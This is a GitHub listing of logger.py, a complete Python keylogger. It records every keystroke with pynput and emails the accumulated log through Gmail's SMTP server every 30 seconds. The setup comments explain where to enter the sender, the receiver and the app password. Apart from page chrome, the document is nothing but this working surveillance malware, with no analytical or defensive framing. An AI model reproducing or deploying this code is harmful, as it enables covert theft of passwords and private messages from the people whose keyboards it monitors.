-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlogger.py
67 lines (57 loc) · 2.04 KB
/
logger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pynput import keyboard #tracks the keys pressed pip install pynput
import threading #for multi tasking pip install smtplib
import smtplib #for sending emails pip install smtplib
log = ""
caps = False
count = 0
def grab_keys(key):# takes the input of keys and stores in a variable named log
global log,caps,count
try:
if caps == True:
log = log+str(key.char).swapcase()
else:
log = log+str(key.char)
except Exception:
if str(key) == "Key.space":
log+= " "
elif str(key) == "Key.shift":
pass
elif str(key) == "Key.backspace":
log = log [:-1]
elif str(key) == "Key.caps_lock":
caps = True
count += 1
if count > 1:
count = 0
caps = False
elif str(key) == "Key.enter":
log += "\n"
else:
log += " " + str(key) + " "
print(log)
def send_email():
sender_email = "" # enter email of sender
sender_password = "" # enter app password of sender email. use this link to create app password: https://youtu.be/T0Op3Qzz6Ms?si=CXPtpRVapH-hr7so
reciever_email = "" # enter email of reciever
try:
s = smtplib.SMTP("smtp.gmail.com", 587)
s.starttls()
s.login(sender_email, sender_password)
msg = f"Subject: {"KeysLogged"}\n\n{log}"
s.sendmail(sender_email, reciever_email, msg)
s.quit()
return "successfull"
except Exception as e:
print(f"Error sending email to {reciever_email}: {e}")
return "failed"
def keys_logged(): # it will gather the whole keys pressed in a particular time
global log
send_email()
log = ""
time_interval = 30 #set the time in seconds for sending emails automatically
timer = threading.Timer(time_interval,keys_logged)
timer.start()
listen = keyboard.Listener(on_press = grab_keys)
with listen:
keys_logged()
listen.join()